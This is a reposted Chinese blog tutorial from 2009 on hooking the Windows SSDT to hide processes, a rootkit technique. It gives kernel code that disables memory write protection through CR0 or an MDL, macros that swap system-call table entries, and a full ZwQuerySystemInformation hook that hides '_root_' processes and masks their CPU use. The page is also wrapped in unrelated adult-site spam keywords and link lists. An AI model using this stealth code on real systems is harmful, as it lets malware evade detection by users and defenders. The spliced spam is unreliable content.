青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.¢%

像打了激速一樣,以四倍的速度運(yùn)轉(zhuǎn),開心的工作
簡單、開放、平等的公司文化;尊重個性、自由與個人價(jià)值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

SSDT HIDE Process

Posted on 2009-10-25 11:37 S.l.e!ep.¢% 閱讀(421) 評論(0)  編輯 收藏 引用 所屬分類: RootKit

SSDT HIDE Process 收藏
原文出處:http://bbs.tian6.com/redirect.php?tid=12021&goto=lastpost


前言:
這只是一篇類似于教學(xué)性的paper,在本文中闡述了一些SSDT HOOK的基本原理與實(shí)現(xiàn)方法,方法并不高深也不新穎,只是方便如同我一般的小菜們能夠了解SSDT HOOK的概念,并通過一個小程序?qū)崿F(xiàn)ring0下SSDT HOOK來隱藏特定進(jìn)程。大牛請飄過。

什么是SSDT?
SSDT(System Service Dispatch Table)系統(tǒng)服務(wù)描述符表,它用來查詢處理系統(tǒng)調(diào)用的特定函數(shù)。也就是說,這個表把ring3下UserMode的Win32 API同ring0下Kernel API相聯(lián)系。

SSDT HOOK 有什么用?
通過修改SSDT中的函數(shù)入口地址來HOOK SSDT中的函數(shù),你可以過濾掉你所關(guān)心的特定結(jié)果,從而欺騙操作系統(tǒng)。比如,你可以隱藏特定的進(jìn)程,隱藏文件,隱藏端口等等。


下面讓我們正式進(jìn)入到SSDT?? HOOK的探索旅程中吧!
我首先會闡述一些關(guān)于SSDT的基本概念,然后介紹了SSDT工作的原理,再次介紹如何繞過內(nèi)存的寫保護(hù)來修改SSDT,最后通過一個簡單的例子來介紹如何使用SSDT HOOK來隱藏進(jìn)程。

SSDT的基本概念
SSDT通過索引系統(tǒng)調(diào)用號來查找在內(nèi)存中的函數(shù)地址。而另一個被稱為SSPT(System Service Parameter Table)系統(tǒng)服務(wù)參數(shù)表,它則指定了每一個系統(tǒng)服務(wù)的函數(shù)參數(shù)的字節(jié)數(shù)。
KeServiceDescriptorTable是一個內(nèi)核的導(dǎo)出表,這個表中包含一個指向部分SSDT的指針。而SSDT中則包含著內(nèi)核的主要部分,Ntoskrnl.exe中的核心系統(tǒng)服務(wù)的實(shí)現(xiàn)。KeServiceDescriptorTable當(dāng)然也包含一個指向SSPT的指針。
SSDT中包含著每一個內(nèi)核導(dǎo)出函數(shù)的地址,每個地址是4字節(jié)長。SSPT中每個元素則是1字節(jié)長,而且用16進(jìn)制來表示SSDT中指定函數(shù)的參數(shù)長度。在下圖中,在地址0x804AB3BF的函數(shù),它的參數(shù)長度是0x18。

當(dāng)調(diào)用一個指定的函數(shù)時(shí),KiSystemService只是簡單的用目標(biāo)函數(shù)的ID號乘以4,來得到SSDT中的偏移地址。KeServiceDescriptorTable中包含著服務(wù)的數(shù)目,這個值可以用來找到SSDT或者SSPT中的最大偏移。
當(dāng)調(diào)用INT 2E或者SYSENTER指令時(shí),將會觸發(fā)系統(tǒng)服務(wù)。這將使得進(jìn)程進(jìn)入到Kernel Mode,也就是所說的ring0。應(yīng)用程序能夠直接觸發(fā)system service dispatcher,KiSystemService,或者通過使用子系統(tǒng)來觸發(fā)。如果使用的是子系統(tǒng)的話(比如Win32),那么它將進(jìn)入到 Ntdll.dll,然后把請求的系統(tǒng)函數(shù)索引號或者系統(tǒng)服務(wù)標(biāo)志符裝入到EAX中,再把函數(shù)參數(shù)的地址裝入到EDX中。然后system service dispatcher將會核查參數(shù),把它們從用戶棧復(fù)制到內(nèi)核棧。它然后調(diào)用通過EAX中系統(tǒng)服務(wù)標(biāo)志符來指定的SSDT中索引的函數(shù)。
一旦你的應(yīng)用程序被作為一個驅(qū)動程序加載,它就能夠改變SSDT中指向的函數(shù)變?yōu)槟阕约旱暮瘮?shù),而不是Ntoskrnl.exe 或者Win32k.sys中的函數(shù)。當(dāng)一個非內(nèi)核的程序進(jìn)入到內(nèi)核時(shí),它的請求被system service dispatcher處理,并且你的程序的函數(shù)將被調(diào)用。基于這一點(diǎn),你就可以有效地隱藏自己的程序,包括它所使用的資源,返回一個虛假的信息給應(yīng)用程序。


改寫SSDT內(nèi)存保護(hù)

Windows系統(tǒng)對部分內(nèi)存起用了寫保護(hù),來防止內(nèi)存頁被修改,比如Windows XP和Windows 2003。它們使得SSDT變成只讀的表,以此來防止任何應(yīng)用程序來修改這個表。
寫保護(hù)操作給你的應(yīng)用程序提出了一個挑戰(zhàn),它使得你想HOOK某些系統(tǒng)調(diào)用來過濾返回信息變得困難起來。如果你試圖去對一個只讀的內(nèi)存進(jìn)行操作,那么你將會遇到BSoD,也就是經(jīng)典的藍(lán)屏死機(jī)的問題。
有兩個方法可以繞過寫保護(hù),一種是修改控制寄存器CR0中的寫保護(hù)位來繞過,另一種是利用Memory Descriptor List (MDL)來繞過寫保護(hù)。

先說第一種方法,第一種方法比較簡單,也就是只要把CR0中的WP(寫保護(hù))位設(shè)置為0,就可以禁止內(nèi)存保護(hù)。

// 取消內(nèi)存保護(hù)
?? __asm
?? {
???????? push eax
???????? mov?? eax, CR0
???????? and?? eax, 0FFFEFFFFh
???????? mov?? CR0, eax
???????? pop?? eax
?? }
// 重新起用內(nèi)存保護(hù)
?? __asm
?? {
???????? push eax
???????? mov?? eax, CR0
???????? or eax, NOT 0FFFEFFFFh
???????? mov?? CR0, eax
???????? pop?? eax
?? }

第二種方法是利用MDL,這個方法在Microsoft的文檔中講得很詳細(xì)了。
你可以在MDL中描述一段內(nèi)存,包括內(nèi)存段的起始位置,所擁有的進(jìn)程,字節(jié)數(shù),內(nèi)存段的標(biāo)志等等。

// MDL references defined in ntddk.h
typedef struct _MDL {
struct _MDL *Next;
CSHORT Size;
CSHORT MdlFlags;
struct _EPROCESS *Process;
PVOID MappedSystemVa;
PVOID StartVa;
ULONG ByteCount;
ULONG ByteOffset;
} MDL, *PMDL;

// MDL Flags
#define MDL_MAPPED_TO_SYSTEM_VA???? 0x0001
#define MDL_PAGES_LOCKED????????? 0x0002
#define MDL_SOURCE_IS_NONPAGED_POOL 0x0004
#define MDL_ALLOCATED_FIXED_SIZE 0x0008
#define MDL_PARTIAL???????????????? 0x0010
#define MDL_PARTIAL_HAS_BEEN_MAPPED 0x0020
#define MDL_IO_PAGE_READ????????? 0x0040
#define MDL_WRITE_OPERATION?????? 0x0080
#define MDL_PARENT_MAPPED_SYSTEM_VA 0x0100
#define MDL_LOCK_HELD???????????? 0x0200
#define MDL_PHYSICAL_VIEW?????????? 0x0400
#define MDL_IO_SPACE???????????? 0x0800
#define MDL_NETWORK_HEADER?????? 0x1000
#define MDL_MAPPING_CAN_FAIL??????? 0x2000
#define MDL_ALLOCATED_MUST_SUCCEED?? 0x4000

為了改變內(nèi)存的標(biāo)志,下面的代碼首先聲明一個結(jié)構(gòu)體,用來保存從Windows內(nèi)核中導(dǎo)出的KeServiceDescriptorTable。當(dāng)你調(diào)用 MmCreateMdl時(shí),你需要知道KeServiceDescriptorTable的基址和它所擁有的函數(shù)入口的數(shù)量。這個函數(shù)定義了你想要MDL 描述的內(nèi)存段的起始地址和大小。然后你的應(yīng)用程序在內(nèi)存的非頁池中創(chuàng)建MDL。
你的應(yīng)用程序可以通過改變MDL的標(biāo)志來使得你可以寫內(nèi)存段,也就是把MDL flag設(shè)置為MDL_MAPPED_TO_SYSTEM_VA。然后調(diào)用MmMapLockedPages來鎖定內(nèi)存中的MDL頁。
現(xiàn)在,你可以準(zhǔn)備HOOKING SSDT了,在下面的代碼中,MappedSystemCallTable中的地址同SSDT的內(nèi)容相一致,但是,現(xiàn)在你可以修改它了。

// 聲明
#pragma pack(1)

typedef struct ServiceDescriptorEntry {
?????? unsigned int *ServiceTableBase;
?????? unsigned int *ServiceCounterTableBase;
?????? unsigned int NumberOfServices;
?????? unsigned char *ParamTableBase;
} SSDT_Entry;

#pragma pack()
__declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;

PMDL?? g_pmdlSystemCall;
PVOID *MappedSystemCallTable;

// 保存原始的系統(tǒng)調(diào)用地址,映射到我們的域中,來改變MDL的保護(hù)
g_pmdlSystemCall = MmCreateMdl(NULL,
?????????????? KeServiceDescriptorTable.ServiceTableBase,
?????????????? KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// 改變MDL的標(biāo)志
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
??????????????????????????? MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

HOOKING SSDT

下面列出了幾個對HOOKING SSDT比較有用的宏。

#define SYSTEMSERVICE(_func) \
?? KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]

#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)

#define HOOK_SYSCALL(_Function, _Hook, _Orig )??? \
?????? _Orig = (PVOID) InterlockedExchange( (PLONG) \
?????? &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

#define UNHOOK_SYSCALL(_Func, _Hook, _Orig )?? \
?????? InterlockedExchange((PLONG)?????????? \
?????? &MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)

SYSTEMSERVICE宏的參數(shù)(姑且稱為參數(shù)吧)是ntoskrnl.exe導(dǎo)出的函數(shù)地址,是一個Zw* 型的函數(shù),返回一個在SSDT表中Nt*型的函數(shù)地址。
SYSCALL_INDEX宏的參數(shù)是Zw*型的函數(shù)的地址,返回一個在SSDT中相一致的索引號。
HOOK_SYSCALL 和 UNHOOK_SYSCALL宏則是把Zw*型的被HOOK的函數(shù)地址同_Hook函數(shù)地址在SSDT中自動交換。
這幾個宏將會在下面的例子中非常有用。

例子:使用SSDT HOOK來隱藏進(jìn)程

?? Windows操作系統(tǒng)使用ZwQuerySystemInformation函數(shù)來查詢許多不同的操作系統(tǒng)信息。比如,任務(wù)管理器 Taskmgr.exe,就是使用這個函數(shù)來獲得系統(tǒng)的進(jìn)程列表。返回的信息則是依靠SystemInformationClass來決定的。比如,在這個例子中,我們想要獲得系統(tǒng)的進(jìn)程信息,我們需要把SystemInformationClass設(shè)置為5。更多詳細(xì)的信息,請參閱Microsoft Windows DDK。
一旦你的程序在SSDT中替換了NtQuerySystemInformation,你的HOOK程序就能調(diào)用原始的系統(tǒng)調(diào)用,并且過濾掉敏感信息。
在SystemInformationClass buffer中,包含著_SYSTEM_PROCESSES結(jié)構(gòu)體和與其相對應(yīng)的_SYSTEM_THREADS結(jié)構(gòu)體。在 _SYSTEM_PROCESSES中,進(jìn)程名是UNICODE_STRING的。兩個LARGE_INTEGER則是進(jìn)程的user和kernel的時(shí)間。當(dāng)你的程序隱藏一個進(jìn)程的時(shí)候,你的程序應(yīng)該把這個進(jìn)程的執(zhí)行開銷所花費(fèi)的時(shí)間加到列表中的其它進(jìn)程中,以保證CPU的總的時(shí)間是100%。
下面的是ZwQuerySystemInformation所返回的進(jìn)程和線程的結(jié)構(gòu)體。


struct _SYSTEM_THREADS
{
?????? LARGE_INTEGER?????????? KernelTime;
?????? LARGE_INTEGER?????????? UserTime;
?????? LARGE_INTEGER?????????? CreateTime;
?????? ULONG??????????????? WaitTime;
?????? PVOID??????????????? StartAddress;
?????? CLIENT_ID???????????? ClientIs;
?????? KPRIORITY???????????? Priority;
?????? KPRIORITY???????????? BasePriority;
?????? ULONG??????????????? ContextSwitchCount;
?????? ULONG??????????????? ThreadState;
?????? KWAIT_REASON????????? WaitReason;
};

struct _SYSTEM_PROCESSES
{
?????? ULONG??????????????? NextEntryDelta;
?????? ULONG??????????????? ThreadCount;
?????? ULONG??????????????? Reserved[6];
?????? LARGE_INTEGER?????????? CreateTime;
?????? LARGE_INTEGER?????????? UserTime;
?????? LARGE_INTEGER?????????? KernelTime;
?????? UNICODE_STRING?????? ProcessName;
?????? KPRIORITY???????????? BasePriority;
?????? ULONG??????????????? ProcessId;
?????? ULONG??????????????? InheritedFromProcessId;
?????? ULONG??????????????? HandleCount;
?????? ULONG??????????????? Reserved2[2];
?????? VM_COUNTERS????????? VmCounters;
?????? IO_COUNTERS????????? IoCounters;??????? //windows 2000 only
?????? struct _SYSTEM_THREADS?? Threads[1];
};


下面的NewZwQuerySystemInformation將會過濾掉所有以“"_root_”打頭的進(jìn)程名,并且把它們的運(yùn)行開銷加到Idle的進(jìn)程中,也就是加到系統(tǒng)空閑進(jìn)程中。


///////////////////////////////////////////////////////////////////////
// NewZwQuerySystemInformation 函數(shù)
// ZwQuerySystemInformation() 返回一個進(jìn)程的鏈表
// 下面的函數(shù)將會去掉所有以“_root_”打頭的進(jìn)程
NTSTATUS NewZwQuerySystemInformation(
???????? IN ULONG SystemInformationClass,
???????? IN PVOID SystemInformation,
???????? IN ULONG SystemInformationLength,
???????? OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))
??????????????????????????????????????? (SystemInformationClass,
??????????????????????????????????????? SystemInformation,
??????????????????????????????????????? SystemInformationLength,
??????????????????????????????????????? ReturnLength);
if( NT_SUCCESS(ntStatus))
{
?? if(SystemInformationClass == 5)
?? {
?????? // 查詢進(jìn)程的鏈表,并且去掉以“_root_”打頭的進(jìn)程
????? struct _SYSTEM_PROCESSES *curr =
??????????? (struct _SYSTEM_PROCESSES *) SystemInformation;
?????? struct _SYSTEM_PROCESSES *prev = NULL;
?????? while(curr)
?????? {
????? //DbgPrint("Current item is %x\n", curr);
????? if (curr->ProcessName.Buffer != NULL)
????? {
???????? if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
???????? {
??????????? m_UserTime.QuadPart += curr->UserTime.QuadPart;
??????????? m_KernelTime.QuadPart +=
???????????????????????????????? curr->KernelTime.QuadPart;
??????????? if(prev)??? // 鏈表的第二個節(jié)點(diǎn)到最后一個節(jié)點(diǎn)的處理
??????????? {
?????????????? if(curr->NextEntryDelta)
????????????????? prev->NextEntryDelta +=
??????????????????????????????????????? curr->NextEntryDelta;
?????????????? else??? // 最后一個節(jié)點(diǎn)
????????????????? prev->NextEntryDelta = 0;
??????????? }
??????????? else
??????????? {
?????????????? if(curr->NextEntryDelta)
?????????????? {
????????????????? // 鏈表的第一個節(jié)點(diǎn),向后移動指針
????????????????? (char*)SystemInformation +=
??????????????????????????????????? curr->NextEntryDelta;
?????????????? }
?????????????? else?????? // 只有一個節(jié)點(diǎn)
????????????????? SystemInformation = NULL;
??????????? }
???????? }
????? }
????? else???????????? // Idle進(jìn)程的入口
????? {
???????? // 把 _root_*進(jìn)程開銷加到Idle的進(jìn)程中去
???????? curr->UserTime.QuadPart += m_UserTime.QuadPart;
???????? curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
???????? // 為我們下次過濾的時(shí)候重置
???????? m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
????? }
????? prev = curr;
????????? if(curr->NextEntryDelta)((char*)curr+=
???????????????????????????????????? curr->NextEntryDelta);
???????? else curr = NULL;
?? }
?? }
??? else if (SystemInformationClass == 8)
??? {
????? // 查詢系統(tǒng)進(jìn)程開銷
????? struct _SYSTEM_PROCESSOR_TIMES * times =
????????? (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
????? times->IdleTime.QuadPart += m_UserTime.QuadPart +
??????????????????????????????????? m_KernelTime.QuadPart;
?? }
}
return ntStatus;
}


注:以上代碼來源于www.rootkit.com,完整代碼下載地址為:http://www.rootkit.com/vault/fuzen_op/HideProcessHookMDL.zip

現(xiàn)在你的程序可以把進(jìn)程中所有以“_root_”打頭的進(jìn)程都隱藏起來了,當(dāng)然你可以更改隱藏的進(jìn)程名。
通過上述的例子,你可以明白HOOK的好處了吧,當(dāng)然在SSDT中還有許多值得我們HOOK的函數(shù),展開你的想象吧,沒有做不到,只有想不到!

?

本文來自CSDN博客,轉(zhuǎn)載請標(biāo)明出處:http://blog.csdn.net/lionzl/archive/2009/08/27/4489268.aspx

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            99国产精品| 亚洲欧美日韩电影| 欧美午夜一区二区三区免费大片| 亚洲日本成人网| 免费视频最近日韩| 老色鬼久久亚洲一区二区| 欧美日韩不卡合集视频| 国产精品久久7| 久久亚洲捆绑美女| 中国亚洲黄色| 一本大道久久a久久精二百| 亚洲国产精品日韩| 午夜久久久久久| 欧美一区二区高清| 亚洲永久免费观看| 午夜精品亚洲| 久久亚洲私人国产精品va媚药| 欧美在线一二三| 蜜臀久久99精品久久久久久9 | 欧美新色视频| 国产精品亚洲综合| 亚洲大片一区二区三区| 亚洲精品一区中文| 午夜精品久久久久久久白皮肤| 一区二区三区高清不卡| 久久精品免费看| 亚洲欧洲日韩综合二区| 亚洲午夜av电影| 久久久精品性| 欧美区高清在线| 在线观看91精品国产入口| 亚洲先锋成人| 久久综合一区二区| 亚洲综合精品四区| 欧美日本亚洲| 激情偷拍久久| 欧美一二区视频| 亚洲麻豆av| 久久精品女人天堂| 国产精品看片资源| 一本色道久久综合亚洲精品小说| 欧美一区二区三区四区视频| 亚洲激情视频网站| 另类春色校园亚洲| 国产一区二区久久久| 日韩午夜av在线| 亚洲福利在线观看| 久久精品国产99国产精品| 国产精品一区二区你懂的| 一区二区欧美在线| 亚洲成色www8888| 久久久久久久波多野高潮日日| 国产精品成人v| 亚洲图片在区色| 亚洲国产免费| 你懂的网址国产 欧美| 一区视频在线| 久久久久国色av免费观看性色| 亚洲视频在线视频| 欧美激情综合| 久久亚洲综合网| 日韩一区二区电影网| 亚洲欧美日韩精品| 亚洲精品美女免费| 男女精品网站| 悠悠资源网亚洲青| 久久亚洲综合网| 亚洲欧美资源在线| 欧美午夜精品久久久久久人妖 | 亚洲电影免费在线 | 亚洲美女诱惑| 欧美激情一区三区| 亚洲激情啪啪| 亚洲第一狼人社区| 欧美日韩aaaaa| 亚洲私人影院在线观看| 一区二区三区精品久久久| 国产精品jizz在线观看美国 | 国产女人aaa级久久久级| 欧美一区二视频| 亚洲欧美日韩综合| 黄色亚洲免费| 亚洲电影在线| 欧美三区在线视频| 久久久91精品| 美女视频黄a大片欧美| 亚洲精品字幕| 亚洲一区二区精品视频| 国产综合色在线| 亚洲人成人77777线观看| 国产精品久久午夜夜伦鲁鲁| 久久精品99无色码中文字幕| 久久男人资源视频| 亚洲一区二区免费在线| 久久国产加勒比精品无码| 亚洲日本中文字幕免费在线不卡| 亚洲人成网站色ww在线| 国产精品v欧美精品v日韩| 久久免费视频在线观看| 欧美高清视频| 欧美成人自拍视频| 先锋亚洲精品| 欧美成人综合网站| 久久久久一区二区三区| 欧美激情亚洲精品| 久久精品论坛| 米奇777超碰欧美日韩亚洲| 免费在线成人| 香蕉久久夜色精品| 欧美日韩成人在线播放| 欧美成人一区二区三区在线观看 | 欧美精品激情在线观看| 黄色日韩网站| 久久久久青草大香线综合精品| 在线观看av一区| 亚洲国产日本| 国产亚洲精品资源在线26u| 亚洲第一精品夜夜躁人人爽| 国产精品日日做人人爱| 日韩视频免费观看| 亚洲电影欧美电影有声小说| 亚洲自拍偷拍一区| 一本一本久久a久久精品综合妖精| 欧美一级一区| 亚洲永久免费视频| 日韩视频在线观看国产| 亚久久调教视频| 欧美激情中文字幕在线| 欧美.www| av成人免费在线| 欧美国产日产韩国视频| 久久精品亚洲| 国产精品网站在线| 亚洲九九九在线观看| 日韩亚洲不卡在线| 欧美精品123区| 亚洲精品男同| 一区二区动漫| 欧美色视频日本高清在线观看| 欧美激情在线有限公司| 亚洲欧洲视频| 美脚丝袜一区二区三区在线观看 | 亚洲高清一二三区| 亚洲电影av在线| 卡通动漫国产精品| 欧美成在线视频| 久久综合国产精品| 免费精品视频| 在线观看国产欧美| 欧美成ee人免费视频| 亚洲人成网站影音先锋播放| 一本久久综合亚洲鲁鲁五月天| 欧美日韩一区高清| 中文在线一区| 久久久www免费人成黑人精品| 国产婷婷色综合av蜜臀av | 欧美国产综合| 亚洲视频国产视频| 国产精品毛片| 欧美一区中文字幕| 模特精品在线| 最近中文字幕日韩精品| 欧美日韩精品一区二区| 亚洲欧美国产高清va在线播| 久久久久久久国产| 久久se精品一区二区| 亚洲电影免费观看高清完整版在线观看| 久久久久国色av免费观看性色| 欧美不卡在线视频| 99国产精品99久久久久久粉嫩| 国产精品magnet| 久久久久久精| 一区二区三区av| 久久人人看视频| 欧美乱在线观看| 欧美一级视频| 亚洲人成绝费网站色www| 亚洲欧美另类在线观看| 一区二区三区在线观看欧美| 欧美精品免费观看二区| 亚洲一区二区三区精品动漫| 男女av一区三区二区色多| 亚洲一区二区精品在线观看| 韩国精品在线观看| 国产精品高潮在线| 欧美chengren| 国产精品久久福利| 久久精品一区| 日韩视频亚洲视频| 欧美99在线视频观看| 欧美亚洲免费| 亚洲一二三级电影| 亚洲精品在线免费| 伊人婷婷欧美激情| 国产欧美日韩综合精品二区| 欧美精品精品一区| 欧美国产精品久久| 久久天天综合| 久久天天躁狠狠躁夜夜av| 欧美在线一二三四区|